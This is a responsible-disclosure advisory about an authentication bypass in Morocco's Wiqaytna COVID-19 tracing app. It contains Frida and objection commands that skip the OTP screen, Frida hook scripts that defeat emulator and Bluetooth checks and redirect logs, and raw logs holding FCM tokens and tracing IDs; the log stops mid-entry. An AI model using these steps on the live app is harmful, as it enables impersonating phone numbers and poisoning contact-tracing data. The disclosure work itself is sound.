This urgent security advisory is about to describe a Major vulnerability discovered during the security assessment of Morocco’s COVID-19 Mobile Tracing Application Wiqaytna. It will start by going through a description of the vulnerability, then a Proof of Concept will follow before concluding on a suggested remediation.
Commit |
|
||||||||||||||||||
Delivery |
23/11/2020 |
||||||||||||||||||
Recipient |
|
||||||||||||||||||
Changelog |
|
||||||||||||||||||
PUBLIC |
|||||||||||||||||||
This document is, unless contraindicated, under CC BY-NC 3.0 licence |
1. Description
A Major vulnerability has been discovered during the security assessment of Morocco’s COVID-19 Mobile Tracing Application Wiqaytna.
It concerns a core component of the application (Authentication) and can be classified under A2:2017-Broken Authentication in OWASP Top Ten or CWE-287: Improper Authentication in Common Weakness Enumeration.
A malicious actor can leverage this vulnerability of bypassing the second step of authentication (OTP to a phone number) to potentially impersonate and register to the platform as any given phone number.
Depending on the data treatment behind the scenes on the platform, the impact could range from poisoning the COVID-19 Tracing dataset to real-life consequences as creating an artificial cluster targeting a person of interest or a rival company.
The vulnerability has been scored using the CVSS v3.1 risk assessment framework and can be summarize as follow:
A2:2017-Broken Authentication / CWE-287: Improper Authentication |
|
|
Major Vulnerability scoring 8.6 |
||
Finding |
OTP for phone number verification can be bypassed |
|
Impact |
Depending on the backend data treatment, impact could range from data poisoning to real-life consequences as creating an artificial cluster targeting a person of interest or a rival company. |
|
Recos |
It is recommended to improve the security of the Authentication process by enhancing the implemented Firebase Authentication method. |
|
Action plan is medium and should be taken into consideration in a very short term |
||
|
2. Proof Of Concept
2.1. Preparation
It should be noted that tests were conducted using the official Android version (1.1.0 at the time of writing) available on the Play Store, and does not require any particular pre-condition to exploit the vulnerability. The following tests were nevertheless conducted on a rooted phone for simplicity purposes.
Tests were also conducted on a non-rooted device (Android Emulator running a Production Android 9) and provided the same behavior. |
Hardware-wise, a rooted phone (Xiaomi Redmi Note 6 Pro) running on Lineage OS with the latest Android version (Android 10) was used to demonstrate the following Proof of Concept.
-
Make sure that frida server is installed and running on the phone:
$ curl -O https://build.frida.re/frida/android/arm/bin/frida-server $ adb push frida-server /data/local/tmp/ $ adb shell "chmod 755 /data/local/tmp/frida-server" $ adb shell "/data/local/tmp/frida-server &"
-
Make also sure that objection is installed on the testing computer:
$ pip3 install objection
2.2. Attack Vector
Let’s break down the Proof of Concept video:
-
[00:03] Launching Application covid.trace.morocco using frida:
$ frida -U -f covid.trace.morocco --no-pause
It should be noted that the start.js is completely optional and have no link with the attack vector: These Frida gadgets are merely helper to disable some onboot checks and to enable application logs for the sake of clarity. |
-
[00:25] RegisterNumberFragment view is created and a random number is registered
-
[00:30] signInAnonymously is successful
Despite the fact that the OTP confirmation was not yet been submitted nor verified, the application is already signed in the firebase environment. Thus, bypassing the OTP screen is the only remaining step to continue the "normal" behavior of the application. |
-
[00:33] objection is launched
$ objection --gadget covid.trace.morocco explore
-
[00:38] Bypass the OTP screen by calling the intent 'launch_activity' of the 'MainActivity'
$ android intent launch_activity covid.trace.morocco.MainActivity
By triggering the intent on the MainActivity, the application restarts the Onboarding Activity on the permission fragment, thus bypassing the OTP and Personal Information screens. |
-
[00:42] Setting permissions
-
[00:58] Application fully operational
-
[01:01] Up to date COVID-19 statistics
3. Remediation
3.1. Context
As the application source code is publicly available, it is possible to look for the OTP implementation through the following files by matching the corresponding log outputs.
private fun requestOTP() {
mView?.let { view ->
phone_number_error.visibility = View.INVISIBLE
var numberText: String
if (phone_number.text.toString().length == 10) {
numberText = phone_number.text.toString().substring(1)
CentralLog.d("used number", "$numberText")
} else {
numberText = phone_number.text.toString()
CentralLog.d("used number", "$numberText")
}
val fullNumber = "$countryCode${numberText}"
phoneNumber = fullNumber
CentralLog.d(TAG, "The value retrieved: ${fullNumber}") (1)
val onboardActivity = context as OnboardingActivity
Preference.putPhoneNumber(
WiqaytnaApp.AppContext, fullNumber (2)
)
onboardActivity.updatePhoneNumber(fullNumber)
onboardActivity.requestForOTP(fullNumber)
}
}
1 | Phone number retrieved |
2 | FullNumber saved in AppContext |
The phone number is registred as an Appcontext prior to OTP verification |
...
// [START on_start_check_user]
public override fun onStart() {
super.onStart()
// Check if user is signed in (non-null) and update UI accordingly.
val currentUser = auth.currentUser
updateUI(currentUser)
}
// [END on_start_check_user]
private fun updateUI(user: FirebaseUser?) {
val isSignedIn = user != null
// Status text
if (isSignedIn) {
uid = user!!.uid
CentralLog.i(TAG, uid) (1)
} else {
uid = ""
}
}
...
fun requestForOTP(phoneNumber: String) {
onboardingActivityLoadingProgressBarFrame.visibility = View.VISIBLE
speedUp = false
resendingCode = false
auth.signInAnonymously()
.addOnCompleteListener(this) { task ->
if (task.isSuccessful) {
// Sign in success, update UI with the signed-in user's information
CentralLog.d(TAG, "signInAnonymously:success") (2)
val user = auth.currentUser
sendPostRequest(user!!.uid, phoneNumber)
.addOnSuccessListener {
navigateToNextPage()
updateUI(user)
}
...
1 | User UID |
2 | Successful authentication |
The authentication (signInAnonymously) is completed before validation of the phone number through an OTP. |
3.2. Suggested Fix
It has been proven that the Authentication method used (Anonymous Authentication) is not secured enough and can be detrimental to the confidentiality, the integrity and the availability of the application.
Unfortunately, there is no quick fix for this vulnerability, as Google Firebase is the single point of failure in our case.
It may be suggested to use a different method like for instance the proper phone authentication:
PhoneAuthProvider.getInstance().verifyPhoneNumber(
phoneNumber, // Phone number to verify
60, // Timeout duration
TimeUnit.SECONDS, // Unit of timeout
this, // Activity (for callback binding)
callbacks) // OnVerificationStateChangedCallbacks
Not only one should balance this solution with some security concerns as stated on Firebase API Documentation…
"Authentication using only a phone number, while convenient, is less secure than the other available methods, because possession of a phone number can be easily transferred between users. Also, on devices with multiple user profiles, any user that can receive SMS messages can sign in to an account using the device’s phone number.
If you use phone number based sign-in in your app, you should offer it alongside more secure sign-in methods, and inform users of the security tradeoffs of using phone number sign-in."
…but it also comes with an additional $0.06 per verification cost as priced in Firebase page.
In conclusion, fixing this vulnerability depends solely on finding a balance between end-user accessibility and the underlying costs, parameters that are out of scope of the present assessment. |
A. Frida gadgets
// Bypass VM Check
Java.perform(function() {
console.log("[ * ] Starting IsEmu override...")
var IsEmu = Java.use("covid.trace.morocco.h");
IsEmu.c.overload().implementation = function(){
console.log("[ + ] VM check successfully bypassed!")
return false;
}
});
// Bypass Bluetooth check
Java.perform(function() {
console.log("[ * ] Starting IsBTAvailable override...")
var IsBT = Java.use("covid.trace.morocco.h");
IsBT.b.overload().implementation = function(){
console.log("[ + ] IsBTAvailable check successfully bypassed!")
return false;
}
});
// Set Should Log to true
Java.perform(function() {
console.log("[ * ] Setting ShouldLog to True ...")
var Central = Java.use("covid.trace.morocco.c.a$a");
Central.b.overload().implementation = function(){
console.log("[ + ] ShouldLog = True")
return true;
}
});
// Hijack logging stream to file
Java.perform(function() {
console.log("[ * ] Attempting to hijack log stream...")
var SDLog = Java.use("covid.trace.morocco.c.b");
console.log("[ * ] Setting writable and sdcard to true...")
SDLog.a.overload().implementation = function(){
console.log("[ + ] {writable,sdcard} = true");
return true;
};
SDLog.a.overload('java.lang.String').implementation = function(str){
console.log("[ * ] Attempting to create new log file");
var sb = Java.use("java.lang.StringBuilder").$new();
sb.append("/data/user/0/covid.trace.morocco/files/SDLogging");
var file = Java.use("java.io.File").$new(sb.toString());
file.mkdirs();
var out = Java.use("java.io.File").$new(file, "Wiqaytna_" + str + ".log");
var fw = Java.use("java.io.FileWriter").$new(out, true);
var bw = Java.use("java.io.BufferedWriter").$new(fw);
return bw;
};
// Hijack Logging stream to console
SDLog.a.overload('java.lang.String','[Ljava.lang.String;').implementation = function(tag,msg){
var lyoum = Java.use('java.util.Date').$new();
// SHORT static int 3, LONG static int 1, MEDIUM static int 2
var dateformat = Java.use('java.text.DateFormat').getDateTimeInstance( 3,3, Java.use('java.util.Locale').$new("FR","fr"));
console.log("[ \\o/ ] "+ dateformat.format(lyoum) + " "+"["+tag+"]"+" : " + msg);
};
});
B. Iconography
Icon | Label |
---|---|
Major Anomaly that could potentially lead to a vulnerability |
|
Minor Anomaly that could disrupt the normal execution of the application |
|
Low Anomaly or Information notice to be taken into consideration |
Icon | Label |
---|---|
Complex and out-of-scope actions impacts heavily on the application environment, undergoing an impact study that could potentially spawn over time is highly recommended |
|
Actions have a Medium impact on the application environment, undergoing an impact study before mitigation is recommended |
|
Actions are quick and simple enough to be undergone without an impact study but may require prior validation |
Icon | Label |
---|---|
Publishing a confidential information is detrimental to the security, integrity and availability of the application |
|
Publishing a restricted information may cause prejudice to the security, integrity and availability of the application |
|
This document is, unless contraindicated, under CC BY-NC 3.0 licence |
Icon | Label |
---|---|
Critical vulnerability that will lead to a complete leak of sensitive information / total integrity loss / total availability downtime |
|
Major vulnerability that could potentially lead to a complete leak of sensitive information / total integrity loss / total availability downtime |
|
Medium vulnerability that could potentially lead to a partial leak of sensitive information / partial integrity loss / partial availability downtime |
|
Minor vulnerability that have no direct impact on confidentiality, integrity or availability of the application, but could potentially be used in a more advanced attack scenario |
Icon | Label |
---|---|
Security level is Poor |
|
Security level is Low |
|
Security level is Perfectible |
|
Security level is Good |
|
Security level is Excellent |
Icon | Label |
---|---|
Actions should be taken immediately |
|
Actions should be taken within a month time frame |
|
Actions should be scheduled within a 6 month time frame |
|
Actions should be planified within a year time frame |
Icon | Label |
---|---|
Affects the execution or the configuration of System components |
|
Affects the Application Code |
|
Affects Personally Identifiable Information (PII) |
|
Affects the Application on a Global scale (System, Code and PII) |
C. Backlog
❯ frida -U -l start.js -f covid.trace.morocco --no-pause
____
/ _ | Frida 12.10.4 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://www.frida.re/docs/home/
Spawned `covid.trace.morocco`. Resuming main thread!
[ * ] Starting IsEmu override...
[ * ] Starting IsBTAvailable override...
[ * ] Setting ShouldLog to True ...
[ * ] Attempting to hijack log stream...
[ * ] Setting writable and sdcard to true...
[.] Debug check bypass
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : SpalshActivity, NOT-IDLE provider update suceeded
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : getStats response, NOT-IDLE {data={date={_nanoseconds=55000000, _seconds=1594924207}, new_recovered=144, regions=[{total=1,11 %, region=Beni Mellal-Khénifra}, {total=24,41 %, region=Casa Settat}, {total=3,55 %, region=Daraa-tafilalet}, {total=0,17 %, region=Dakhla-Oued Ed Dahab}, {total=11,99 %, region=Fès meknes}, {total=0,89 %, region=Guelmim Oued Noun}, {total=4,97 %, region=Laâyoune-Sakia El Hamra}, {total=17,72 %, region=Marrakech Safi}, {total=1,86 %, region=Oriental}, {total=12,67 %, region=Rabat Salé Kenitra}, {total=0,62 %, region=Souss-Massa}, {total=20,05 %, region=Tanger Tetouan Al Hoceima}], death=263, new_death=4, new_confirmed=283, covered=13965, total_tested=937170, confirmed=16545}, success=true}
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : SpalshActivity, NOT-IDLE FCM token: dBL58FCfSrCxZzKr6gNVpy:APA91bFWnJ8byo2z4ecHeCcw-z0gjgfJW8JqNp2KYBkJO5UXMLtnGq_S1wIxOZ_n22LFqvBJ5kQZBCNmnmDrkvTALTNK7hoA7lsgW3szb_436ovxZ7u7njyWND8_pVwbAGgB5Zh97wlJ
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FCMService, NOT-IDLE Refreshed token: dBL58FCfSrCxZzKr6gNVpy:APA91bFWnJ8byo2z4ecHeCcw-z0gjgfJW8JqNp2KYBkJO5UXMLtnGq_S1wIxOZ_n22LFqvBJ5kQZBCNmnmDrkvTALTNK7hoA7lsgW3szb_436ovxZ7u7njyWND8_pVwbAGgB5Zh97wlJ
[ + ] VM check successfully bypassed!
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE first_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE phone_number_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE Navigating to page
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE otp_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE setup_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : used number, NOT-IDLE 600000000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : RegisterNumberFragment, NOT-IDLE The value retrieved: +212600000000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OTPFragment, NOT-IDLE onUpdatePhoneNumber +212600000000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE signInAnonymously:success
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE Navigating to next page
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrollStateChanged
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE position: 1
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : OnboardingActivity, NOT-IDLE dl8Lg8F8CwgB2ETHw3EYQRS3EFx1
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [WARN] : BTMService, NOT-IDLE bluetoothStatusReceiver is not registered?
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE Receivers registered
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE Service onStartCommand
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE location permission: false bluetooth: false
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : OnboardingActivity, NOT-IDLE dl8Lg8F8CwgB2ETHw3EYQRS3EFx1
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE Service onStartCommand
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE location permission: false bluetooth: true
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[Redmi Note 6 Pro::covid.trace.morocco]->
[Redmi Note 6 Pro::covid.trace.morocco]->
^C
Thank you for using Frida!
❯ frida -U -l start.js -f covid.trace.morocco --no-pause
____
/ _ | Frida 12.10.4 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://www.frida.re/docs/home/
Spawned `covid.trace.morocco`. Resuming main thread!
[Redmi Note 6 Pro::covid.trace.morocco]-> [ * ] Starting IsEmu override...
[ * ] Starting IsBTAvailable override...
[ * ] Setting ShouldLog to True ...
[ * ] Attempting to hijack log stream...
[ * ] Setting writable and sdcard to true...
[.] Debug check bypass
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : response hours elapsed, NOT-IDLE 6
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : SpalshActivity, NOT-IDLE FCM token: dBL58FCfSrCxZzKr6gNVpy:APA91bFWnJ8byo2z4ecHeCcw-z0gjgfJW8JqNp2KYBkJO5UXMLtnGq_S1wIxOZ_n22LFqvBJ5kQZBCNmnmDrkvTALTNK7hoA7lsgW3szb_436ovxZ7u7njyWND8_pVwbAGgB5Zh97wlJ
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : SpalshActivity, NOT-IDLE provider update suceeded
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : getStats response, NOT-IDLE {data={new_recovered=144, date={_nanoseconds=55000000, _seconds=1594924207}, regions=[{total=1,11 %, region=Beni Mellal-Khénifra}, {total=24,41 %, region=Casa Settat}, {total=3,55 %, region=Daraa-tafilalet}, {total=0,17 %, region=Dakhla-Oued Ed Dahab}, {total=11,99 %, region=Fès meknes}, {total=0,89 %, region=Guelmim Oued Noun}, {total=4,97 %, region=Laâyoune-Sakia El Hamra}, {total=17,72 %, region=Marrakech Safi}, {total=1,86 %, region=Oriental}, {total=12,67 %, region=Rabat Salé Kenitra}, {total=0,62 %, region=Souss-Massa}, {total=20,05 %, region=Tanger Tetouan Al Hoceima}], death=263, new_confirmed=283, new_death=4, covered=13965, total_tested=937170, confirmed=16545}, success=true}
[ + ] VM check successfully bypassed!
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : response hours elapsed, NOT-IDLE 6
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE home_screen_setup_incomplete
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : update time, NOT-IDLE 16 يوليوز 2020 19h
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : HomeFragment, NOT-IDLE On Battery Optimization whitelist
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE home_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : BTMService, NOT-IDLE Creating service - BluetoothMonitoringService
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [WARN] : BTMService, NOT-IDLE bluetoothStatusReceiver is not registered?
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Receivers registered
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Service onStartCommand
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Command is:START
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : Scheduler, NOT-IDLE Purging alarm set to 86400000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : BTMService, NOT-IDLE Action Start
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE getTemporaryIDs called
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : MainActivity, NOT-IDLE FCM token: dBL58FCfSrCxZzKr6gNVpy:APA91bFWnJ8byo2z4ecHeCcw-z0gjgfJW8JqNp2KYBkJO5UXMLtnGq_S1wIxOZ_n22LFqvBJ5kQZBCNmnmDrkvTALTNK7hoA7lsgW3szb_436ovxZ7u7njyWND8_pVwbAGgB5Zh97wlJ
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : HomeFragment, NOT-IDLE Remote config fetch - success: false
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : getStats response, NOT-IDLE {data={new_recovered=144, date={_nanoseconds=55000000, _seconds=1594924207}, regions=[{total=1,11 %, region=Beni Mellal-Khénifra}, {total=24,41 %, region=Casa Settat}, {total=3,55 %, region=Daraa-tafilalet}, {total=0,17 %, region=Dakhla-Oued Ed Dahab}, {total=11,99 %, region=Fès meknes}, {total=0,89 %, region=Guelmim Oued Noun}, {total=4,97 %, region=Laâyoune-Sakia El Hamra}, {total=17,72 %, region=Marrakech Safi}, {total=1,86 %, region=Oriental}, {total=12,67 %, region=Rabat Salé Kenitra}, {total=0,62 %, region=Souss-Massa}, {total=20,05 %, region=Tanger Tetouan Al Hoceima}], death=263, new_confirmed=283, new_death=4, covered=13965, total_tested=937170, confirmed=16545}, success=true}
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE tempIDs: [{expiryTime=1594942692, startTime=1594941792, tempID=yksBw+9AHuQweFRbd8J3CCYlH57JkOkuun2pOgPExSuYgjpYqTgMBJj3PoCj/OcZsPTp3LSck17YUyRyVA==}, {expiryTime=1594943592, startTime=1594942692, tempID=QIjzcEd9L4hf7LH6OkUyf+SvXmxuwz1Qqi/aIZ98Q5sobWQyafFzT2f8fxn7Ixm+f9BZX1j2ZPrLGp38jA==}, {expiryTime=1594944492, startTime=1594943592, tempID=uA1f8/CGhkDp0QjrhoVg+lDcmAdoj/gPA9uO7pN53PuGMOIvXr3pJJfhr0PKM/3rW3kYBTo1sAvD/OkGqg==}, {expiryTime=1594945392, startTime=1594944492, tempID=4wx5ibP2l78WGWAJeWztA9yxRkFU7Ftt7KlACzeGavkY66XvIrJt/RibPeHnv9heJUgzX8cFUdR2csbqCw==}, {expiryTime=1594946292, startTime=1594945392, tempID=ZhwcP566i0p5Uu2/ra5cb8TJ0Ce40L4ViznSSrmtxbNAhbUDOWcn0al+vMsKxKZnffliqcGBnH7ZSy5A+w==}, {expiryTime=1594947192, startTime=1594946292, tempID=+fS0lrMsQUllKARqrzJLDL+Ev4MKOrupWsqf5+6XdV9B73h4MXsyvQiw4fELSCvMVUpu26ZfLn3OP1mLsw==}, {expiryTime=1594948092, startTime=1594947192, tempID=4v74m9A9+KNc8hxWvPck0XMyBanQ7WhjcI4cg40AjhHucvTCsjImr/rl9ifZwhulAxi5IBgK777+B3wA0A==}, {expiryTime=1594948992, startTime=1594948092, tempID=D72cvYBdeVp6uQLZtA0V4cqOQhiYcL+aKuQbQBlpH2uiT9NheLkS733radmjC2SBv9nGXLZ8xEHt7XB4PQ==}, {expiryTime=1594949892, startTime=1594948992, tempID=NSOFHeC1mRCjYtMtfdSamWReWL/qyVPGcR4Pub9dO+MLIYGkYHYHn4WqThHoCdW16leRiSpzsvQrvyBh5g==}, {expiryTime=1594950792, startTime=1594949892, tempID=32s9PedFvWpsesNB4zcobKH7VyTvms/dGNemTVhDpaKRRrpAmmMKnLQ7sn4TnUIaQljWcY5XRQg22vm+Jg==}, {expiryTime=1594951692, startTime=1594950792, tempID=LMpZDBh60XRTt5jAcF8fG18f0dgpTMWMFMiyrmv2dl3B7Ns1JULhzFIkw5YQKw4nKmt5bO3bd4t5ZHWBBg==}, {expiryTime=1594952592, startTime=1594951692, tempID=iSOmP3U6KjRG5wAMhizw3uWMlVlyE1NEOapXl41II8EDRKqiOQdHRdrOAey0vh4+kPAVdJtsJ2555QkQ1Q==}, {expiryTime=1594953492, startTime=1594952592, tempID=D89HPOrPz2R7D5xxGMi7RWD6AZgP5aO3Y0pgM8w4ezNLFAjriHqye5U1I1BUmMEE6w8nWSEdICfSCyVSOg==}, {expiryTime=1594954392, startTime=1594953492, tempID=Eaan2fB9cP5HpapOVJ+II7HhfqtTyuX9wkSfQKLhPrqeeFopI6o7FNGZGirQ86aHpjXlksCH8iowh6S9Hg==}, {expiryTime=1594955292, startTime=1594954392, tempID=4vptxbO/1EcpdSQLDgzr4MLIhXfX6/gqKeEHeHgdonbZMuGkQ0mbD4rUI6xtZ5C7PCQRLr95O+ShppEFiA==}, {expiryTime=1594956192, startTime=1594955292, tempID=eLVioiIAU0cbYZ8eo6Lhrh3vCO1lXnc8eNtyRGBl73ALHIivP6qHC8yPaV55u6SfPcNfx6IRVojcsRTjrA==}, {expiryTime=1594957092, startTime=1594956192, tempID=drOWZj1FhL4kllymcdMxla1yv1UajsOHW4z8JRcdIEJ7OW/q4SCVfssEzso74niRgf+0wGarebijByaYbg==}, {expiryTime=1594957992, startTime=1594957092, tempID=T9xjxHw2cXwcCHb7sisbNAEn6veOvz18NSeIMQXm2T9PTuNWcDbBKGJNIv3LXmIXJ4HF503As8oskSFLEg==}, {expiryTime=1594958892, startTime=1594957992, tempID=FKb6EMP3CxmMYg/3n2tCNZzJCVGXfymhgBnjkqkgMRlcr7w61IjEjgKhcoGSjXeexDNRNPfmdJQZpiJNrA==}, {expiryTime=1594959792, startTime=1594958892, tempID=q1LK0NgLB8jYvrpWXKUQy+lWrDTY1SxY3dwT+H01cpbgqvAP6hS9wJhKHCEPBURz0pGd9UPQjJbxkhbX7Q==}, {expiryTime=1594960692, startTime=1594959792, tempID=5Ha/CCjgCm4y0QEyPY53AuhIV/4WUxRNIKuFIjw4i0qF4z1f23AGqfjOLYlzQ5MgH7cl+z22EcsxYQNgyQ==}, {expiryTime=1594961592, startTime=1594960692, tempID=tVUkpLHmYCYbc0fPbbM6y1tUGzuOtDsxmvNs3piGzLT7WE0ITFB8xsVdTKbqT0cfPaCkhCoG0WZUkTAwbg==}, {expiryTime=1594962492, startTime=1594961592, tempID=T9CmKisdc1tC+QhZwUtAr2Ga7Pd707LYLBJl1Y/qcWhQnl2Q7oBJaNrFVkerQUB3nNIIxoxqq0rEFyT8Mg==}, {expiryTime=1594963392, startTime=1594962492, tempID=Beh1tJAsrD0G20rH2WyTqYxwOnJOvOCPhtH5FhfATqfCeh7VsceiJDmM5fWKFQFohRPZ0T4TAJTeEcl/iw==}, {expiryTime=1594964292, startTime=1594963392, tempID=L64XrHyIbZFb3rUK4EucluXjM6TT4n8h6jgd5nB7dADwnLPf9f/N3Kxk6CM17R02wM7VtqQKG7m/kidkGg==}, {expiryTime=1594965192, startTime=1594964292, tempID=DRYQagmRLPvVuvJQ0PhjnSovffYBWKKLtSwMfr/vamUj+3dexnXOe7xSgWgvC95rdO6XJBiVVgpPET6AjA==}, {expiryTime=1594966092, startTime=1594965192, tempID=k5wDgs8TPFYrZIv1aNCOMieJOK9IXhLAtFG5W7mfFwP0ayF77PkTnkkW+7ZuAUgXb2JL1MWwb4AErSibdg==}, {expiryTime=1594966992, startTime=1594966092, tempID=srWc5vRyfJ2btMOjjGp6Ajm5oZ6m7jCbVuZ4PxXsveNjZ5GLMiGMfxEStbehkDQJq+5giJjDM1L30uKL3g==}, {expiryTime=1594967892, startTime=1594966992, tempID=g7h/yN+WXppYlDaENO34NfHt8yx8FUC3ap+ncUCGsO5lHw/8kXodMWPFGBEaLFhNkwvipyv4a/3G4zyglg==}, {expiryTime=1594968792, startTime=1594967892, tempID=NhosYsqOr2WHqCz06B86UdHev5ZVd5FV/9eYKXjr0+qU+NDDs0S2oOjeL9IEF06q4R+ikjdY7yGyZKTgHQ==}, {expiryTime=1594969692, startTime=1594968792, tempID=3C5K+4W25I0ow0NNogoqIW2bfJ6d+frQ76TtULFDCHz7t58V5/FSa5maQ6vIqHNjCEpuBNNI+KScp1WX1g==}, {expiryTime=1594970592, startTime=1594969692, tempID=md8kleOc+z2Plh/q56CSWwxXupLpOIHE7p6Ov5vBfQyxeTgHYI2k8spmFd/mdEQIzxQfQSAUr5I+NB0L+Q==}, {expiryTime=1594971492, startTime=1594970592, 